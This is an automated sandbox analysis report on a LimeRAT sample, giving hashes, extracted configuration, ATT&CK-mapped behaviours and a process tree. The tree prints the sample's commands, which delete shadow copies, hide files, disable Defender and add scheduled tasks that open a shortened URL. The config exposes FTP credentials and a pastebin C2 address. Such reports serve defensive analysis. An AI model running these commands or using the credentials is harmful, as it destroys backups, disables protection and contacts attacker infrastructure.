limerat | ebf854c44cf0407faa99b0a60ced1b4805c33249cbc0828554cf1aef7b1c1c79

Analysis

max time kernel
126s
max time network
127s
platform
windows10-2004_x64
resource
win10v2004-20240611-en
resource tags

arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
submitted
19-06-2024 14:30

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Client.exe
Size

241KB
MD5

ccc910296b7389ba076ffeed54ec400b
SHA1

6dc995e663fd4c84d35ace40733df462f3282340
SHA256

ebf854c44cf0407faa99b0a60ced1b4805c33249cbc0828554cf1aef7b1c1c79
SHA512

45ef0543176424185603492d7c9043f6b28b30611776d04606d4d041f385ab81f4c814d107b8d354baa3c43402be82fe82658fbf7348b9d89a9c0cde1e40b86c
SSDEEP

6144:x5WE/UVPy/oCa+LDZWC9z51hDba8DTknq1di7QN:vWzPygCa+DZ7Dgnq1c4

Score

10^/10

limerat defense_evasion evasion execution impact persistence ransomware rat trojan

Malware Config

Extracted

Credentials

Protocol: ftp
Host:
ftp.encompossoftware.com
Port:
21
Username:
remoteuser
Password:
Encomposx99

Extracted

Family

limerat

Wallets

False

Attributes

aes_key
1
antivm
false
c2_url
https://pastebin.com/raw/wEZKjNzb
download_payload
false
install
true
install_name
svchost.exe
main_folder
True
payload_url
True
pin_spread
true
sub_folder
False
usb_spread
false

Signatures

Contains code to disable Windows Defender 2 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

Processes:

resource	yara_rule
behavioral1/memory/1932-1-0x000001715BCE0000-0x000001715BD22000-memory.dmp	disable_win_def
C:\Users\Admin\Branding\svchost.exe	disable_win_def

LimeRAT
Simple yet powerful RAT for Windows machines written in .NET.
rat limerat

Modifies WinLogon for persistence 2 TTPs 2 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

Processes:

svchost.exeClient.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\shell = "explorer.exe,\"C:\\Users\\Admin\\Branding\\svchost.exe\""	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\shell = "explorer.exe,\"C:\\Users\\Admin\\Branding\\svchost.exe\""	Client.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

Processes:

Client.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Client.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	Client.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	Client.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	Client.exe

Modifies security service 2 TTPs 1 IoCs
evasion

Modify Registry
T1112

Windows Service
T1543.003

Processes:

Client.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4" Client.exe
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

Client.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\Control Panel\International\Geo\Nation Client.exe
Executes dropped EXE 1 IoCs

Processes:

svchost.exe

pid process

1940 svchost.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4"	Client.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\Control Panel\International\Geo\Nation	Client.exe

pid	process
1940	svchost.exe

Enumerates connected drives 3 TTPs 15 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

vssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exe

description	ioc	process
File opened (read-only)	\??\h:	vssadmin.exe
File opened (read-only)	\??\e:	vssadmin.exe
File opened (read-only)	\??\g:	vssadmin.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\h:	vssadmin.exe
File opened (read-only)	\??\D:	vssadmin.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\H:	vssadmin.exe
File opened (read-only)	\??\H:	vssadmin.exe
File opened (read-only)	\??\E:	vssadmin.exe
File opened (read-only)	\??\G:	vssadmin.exe
File opened (read-only)	\??\e:	vssadmin.exe
File opened (read-only)	\??\E:	vssadmin.exe
File opened (read-only)	\??\g:	vssadmin.exe
File opened (read-only)	\??\G:	vssadmin.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 64 IoCs

Web Service

T1102

Processes:

flow	ioc
135	pastebin.com
141	pastebin.com
142	pastebin.com
179	pastebin.com
81	pastebin.com
106	pastebin.com
155	pastebin.com
160	pastebin.com
66	pastebin.com
146	pastebin.com
209	pastebin.com
194	pastebin.com
206	pastebin.com
123	pastebin.com
201	pastebin.com
57	pastebin.com
80	pastebin.com
162	pastebin.com
176	pastebin.com
205	pastebin.com
88	pastebin.com
127	pastebin.com
137	pastebin.com
175	pastebin.com
202	pastebin.com
91	pastebin.com
133	pastebin.com
153	pastebin.com
189	pastebin.com
204	pastebin.com
113	pastebin.com
184	pastebin.com
130	pastebin.com
182	pastebin.com
75	pastebin.com
86	pastebin.com
124	pastebin.com
178	pastebin.com
63	pastebin.com
76	pastebin.com
118	pastebin.com
119	pastebin.com
129	pastebin.com
148	pastebin.com
158	pastebin.com
125	pastebin.com
126	pastebin.com
78	pastebin.com
85	pastebin.com
93	pastebin.com
96	pastebin.com
100	pastebin.com
183	pastebin.com
73	pastebin.com
74	pastebin.com
207	pastebin.com
94	pastebin.com
103	pastebin.com
111	pastebin.com
131	pastebin.com
136	pastebin.com
177	pastebin.com
67	pastebin.com
77	pastebin.com

Hide Artifacts: Hidden Files and Directories 1 TTPs 2 IoCs
defense_evasion

Hidden Files and Directories
T1564.001

Processes:

cmd.execmd.exe

pid process

1880 cmd.exe
664 cmd.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Disables Windows logging functionality 2 TTPs
Changes registry settings to disable Windows Event logging.

Disable or Modify Tools
T1562.001

Modify Registry
T1112

pid	process
1880	cmd.exe
664	cmd.exe

Interacts with shadow copies 3 TTPs 12 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

Processes:

vssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exe

pid	process
3172	vssadmin.exe
1292	vssadmin.exe
3968	vssadmin.exe
2160	vssadmin.exe
4984	vssadmin.exe
4068	vssadmin.exe
3900	vssadmin.exe
804	vssadmin.exe
3896	vssadmin.exe
5036	vssadmin.exe
2312	vssadmin.exe
3304	vssadmin.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence execution

Scheduled Task
T1053.005

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid process

1828 schtasks.exe
2160 schtasks.exe
4456 schtasks.exe
2268 schtasks.exe
2756 schtasks.exe
Suspicious behavior: EnumeratesProcesses 9 IoCs

Processes:

Client.exepowershell.exesvchost.exe

pid process

1932 Client.exe
1932 Client.exe
1932 Client.exe
4556 powershell.exe
4556 powershell.exe
1940 svchost.exe
1940 svchost.exe
1940 svchost.exe
1940 svchost.exe

pid	process
1828	schtasks.exe
2160	schtasks.exe
4456	schtasks.exe
2268	schtasks.exe
2756	schtasks.exe

pid	process
1932	Client.exe
1932	Client.exe
1932	Client.exe
4556	powershell.exe
4556	powershell.exe
1940	svchost.exe
1940	svchost.exe
1940	svchost.exe
1940	svchost.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

Processes:

Client.exepowershell.exevssvc.exesvchost.exe

description	pid	process
Token: SeDebugPrivilege	1932	Client.exe
Token: SeDebugPrivilege	4556	powershell.exe
Token: SeBackupPrivilege	1176	vssvc.exe
Token: SeRestorePrivilege	1176	vssvc.exe
Token: SeAuditPrivilege	1176	vssvc.exe
Token: SeBackupPrivilege	1932	Client.exe
Token: SeSecurityPrivilege	1932	Client.exe
Token: SeBackupPrivilege	1932	Client.exe
Token: SeDebugPrivilege	1940	svchost.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Client.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exe

description	pid	process	target process
PID 1932 wrote to memory of 1880	1932	Client.exe	cmd.exe
PID 1932 wrote to memory of 1880	1932	Client.exe	cmd.exe
PID 1880 wrote to memory of 948	1880	cmd.exe	attrib.exe
PID 1880 wrote to memory of 948	1880	cmd.exe	attrib.exe
PID 1880 wrote to memory of 3400	1880	cmd.exe	attrib.exe
PID 1880 wrote to memory of 3400	1880	cmd.exe	attrib.exe
PID 1932 wrote to memory of 4556	1932	Client.exe	powershell.exe
PID 1932 wrote to memory of 4556	1932	Client.exe	powershell.exe
PID 1932 wrote to memory of 3600	1932	Client.exe	cmd.exe
PID 1932 wrote to memory of 3600	1932	Client.exe	cmd.exe
PID 1932 wrote to memory of 2480	1932	Client.exe	cmd.exe
PID 1932 wrote to memory of 2480	1932	Client.exe	cmd.exe
PID 1932 wrote to memory of 952	1932	Client.exe	cmd.exe
PID 1932 wrote to memory of 952	1932	Client.exe	cmd.exe
PID 1932 wrote to memory of 4284	1932	Client.exe	cmd.exe
PID 1932 wrote to memory of 4284	1932	Client.exe	cmd.exe
PID 1932 wrote to memory of 1184	1932	Client.exe	cmd.exe
PID 1932 wrote to memory of 1184	1932	Client.exe	cmd.exe
PID 1932 wrote to memory of 4444	1932	Client.exe	cmd.exe
PID 1932 wrote to memory of 4444	1932	Client.exe	cmd.exe
PID 1932 wrote to memory of 4396	1932	Client.exe	cmd.exe
PID 1932 wrote to memory of 4396	1932	Client.exe	cmd.exe
PID 1932 wrote to memory of 628	1932	Client.exe	cmd.exe
PID 1932 wrote to memory of 628	1932	Client.exe	cmd.exe
PID 1932 wrote to memory of 1200	1932	Client.exe	cmd.exe
PID 1932 wrote to memory of 1200	1932	Client.exe	cmd.exe
PID 1932 wrote to memory of 2836	1932	Client.exe	cmd.exe
PID 1932 wrote to memory of 2836	1932	Client.exe	cmd.exe
PID 1932 wrote to memory of 4884	1932	Client.exe	cmd.exe
PID 1932 wrote to memory of 4884	1932	Client.exe	cmd.exe
PID 1932 wrote to memory of 1960	1932	Client.exe	cmd.exe
PID 1932 wrote to memory of 1960	1932	Client.exe	cmd.exe
PID 1932 wrote to memory of 4588	1932	Client.exe	cmd.exe
PID 1932 wrote to memory of 4588	1932	Client.exe	cmd.exe
PID 2480 wrote to memory of 1032	2480	cmd.exe	vssadmin.exe
PID 2480 wrote to memory of 1032	2480	cmd.exe	vssadmin.exe
PID 952 wrote to memory of 804	952	cmd.exe	vssadmin.exe
PID 952 wrote to memory of 804	952	cmd.exe	vssadmin.exe
PID 1184 wrote to memory of 3900	1184	cmd.exe	vssadmin.exe
PID 1184 wrote to memory of 3900	1184	cmd.exe	vssadmin.exe
PID 2836 wrote to memory of 3172	2836	cmd.exe	vssadmin.exe
PID 2836 wrote to memory of 3172	2836	cmd.exe	vssadmin.exe
PID 4396 wrote to memory of 1292	4396	cmd.exe	vssadmin.exe
PID 4396 wrote to memory of 1292	4396	cmd.exe	vssadmin.exe
PID 4884 wrote to memory of 3968	4884	cmd.exe	vssadmin.exe
PID 4884 wrote to memory of 3968	4884	cmd.exe	vssadmin.exe
PID 4588 wrote to memory of 2160	4588	cmd.exe	vssadmin.exe
PID 4588 wrote to memory of 2160	4588	cmd.exe	vssadmin.exe
PID 1960 wrote to memory of 5036	1960	cmd.exe	vssadmin.exe
PID 1960 wrote to memory of 5036	1960	cmd.exe	vssadmin.exe
PID 3600 wrote to memory of 2312	3600	cmd.exe	vssadmin.exe
PID 3600 wrote to memory of 2312	3600	cmd.exe	vssadmin.exe
PID 4444 wrote to memory of 4984	4444	cmd.exe	vssadmin.exe
PID 4444 wrote to memory of 4984	4444	cmd.exe	vssadmin.exe
PID 1200 wrote to memory of 4068	1200	cmd.exe	vssadmin.exe
PID 1200 wrote to memory of 4068	1200	cmd.exe	vssadmin.exe
PID 628 wrote to memory of 3304	628	cmd.exe	vssadmin.exe
PID 628 wrote to memory of 3304	628	cmd.exe	vssadmin.exe
PID 1932 wrote to memory of 2756	1932	Client.exe	schtasks.exe
PID 1932 wrote to memory of 2756	1932	Client.exe	schtasks.exe
PID 1932 wrote to memory of 2268	1932	Client.exe	schtasks.exe
PID 1932 wrote to memory of 2268	1932	Client.exe	schtasks.exe
PID 1932 wrote to memory of 4456	1932	Client.exe	schtasks.exe
PID 1932 wrote to memory of 4456	1932	Client.exe	schtasks.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Views/modifies file attributes 1 TTPs 4 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exeattrib.exeattrib.exeattrib.exe

pid process

2468 attrib.exe
948 attrib.exe
3400 attrib.exe
864 attrib.exe

pid	process
2468	attrib.exe
948	attrib.exe
3400	attrib.exe
864	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Client.exe
"C:\Users\Admin\AppData\Local\Temp\Client.exe"
1⤵
- Modifies WinLogon for persistence
- Modifies Windows Defender Real-time Protection settings
- Modifies security service
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1932
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c attrib +H +S "C:\Users\Admin\\Branding" & attrib +H +S "C:\Users\Admin\\Branding\*" /S /D
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:1880
- - C:\Windows\system32\attrib.exe
    attrib +H +S "C:\Users\Admin\\Branding"
    3⤵
    - Views/modifies file attributes
    PID:948
- - C:\Windows\system32\attrib.exe
    attrib +H +S "C:\Users\Admin\\Branding\*" /S /D
    3⤵
    - Views/modifies file attributes
    PID:3400
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" Get-MpPreference -verbose
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4556
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin Delete Shadows /all /quiet
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3600
- - C:\Windows\system32\vssadmin.exe
    vssadmin Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2312
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin resize shadow /for=c: /on=c: /maxsize=401MB
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2480
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadow /for=c: /on=c: /maxsize=401MB
    3⤵
    PID:1032
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:952
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:804
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded
  2⤵
  PID:4284
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:3896
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1184
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:3900
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4444
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:4984
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4396
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1292
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:628
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:3304
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1200
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:4068
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2836
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:3172
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4884
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:3968
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1960
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:5036
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c Vssadmin delete shadowstorage /all /quiet
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4588
- - C:\Windows\system32\vssadmin.exe
    Vssadmin delete shadowstorage /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2160
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks /create /f /st "11:10" /sc daily /mo "5" /tn "NUC" /tr "'explorer'https://gsurl.be/kXFX"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2756
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks /create /f /st "21:41" /sc daily /mo "5" /tn "NUC" /tr "'explorer'https://gsurl.be/kXFX"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2268
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks /create /f /st "03:40" /sc daily /mo "2" /tn "NUC" /tr "'explorer'https://gsurl.be/kXFX"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4456
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks /create /f /st "06:27" /sc weekly /mo "2" /d "Wed" /tn "NUC" /tr "'explorer'https://gsurl.be/kXFX"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2160
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks /create /f /st "17:29" /sc monthly /m "nov" /tn "NUC" /tr "'explorer'https://gsurl.be/kXFX"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1828
- C:\Users\Admin\Branding\svchost.exe
  "C:\Users\Admin\Branding\svchost.exe"
  2⤵
  - Modifies WinLogon for persistence
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1940
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c attrib +H +S "C:\Users\Admin\\Branding" & attrib +H +S "C:\Users\Admin\\Branding\*" /S /D
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:664
  - - C:\Windows\system32\attrib.exe
      attrib +H +S "C:\Users\Admin\\Branding"
      4⤵
      Views/modifies file attributes
      PID:864
  - - C:\Windows\system32\attrib.exe
      attrib +H +S "C:\Users\Admin\\Branding\*" /S /D
      4⤵
      Views/modifies file attributes
      PID:2468

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1176

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Direct Volume Access

T1006

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2got23vd.05h.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\Branding\svchost.exe

Filesize
241KB

MD5
ccc910296b7389ba076ffeed54ec400b

SHA1
6dc995e663fd4c84d35ace40733df462f3282340

SHA256
ebf854c44cf0407faa99b0a60ced1b4805c33249cbc0828554cf1aef7b1c1c79

SHA512
45ef0543176424185603492d7c9043f6b28b30611776d04606d4d041f385ab81f4c814d107b8d354baa3c43402be82fe82658fbf7348b9d89a9c0cde1e40b86c

Download Submit
memory/1932-0-0x00007FFBA4EC3000-0x00007FFBA4EC5000-memory.dmp

Filesize
8KB

Download
memory/1932-1-0x000001715BCE0000-0x000001715BD22000-memory.dmp

Filesize
264KB

Download
memory/1932-19-0x00007FFBA4EC0000-0x00007FFBA5981000-memory.dmp

Filesize
10.8MB

Download
memory/1932-31-0x00007FFBA4EC0000-0x00007FFBA5981000-memory.dmp

Filesize
10.8MB

Download
memory/4556-7-0x000001F245120000-0x000001F245142000-memory.dmp

Filesize
136KB

Download
memory/4556-12-0x00007FFBA4EC0000-0x00007FFBA5981000-memory.dmp

Filesize
10.8MB

Download
memory/4556-13-0x00007FFBA4EC0000-0x00007FFBA5981000-memory.dmp

Filesize
10.8MB

Download
memory/4556-14-0x00007FFBA4EC0000-0x00007FFBA5981000-memory.dmp

Filesize
10.8MB

Download
memory/4556-17-0x00007FFBA4EC0000-0x00007FFBA5981000-memory.dmp

Filesize
10.8MB

Download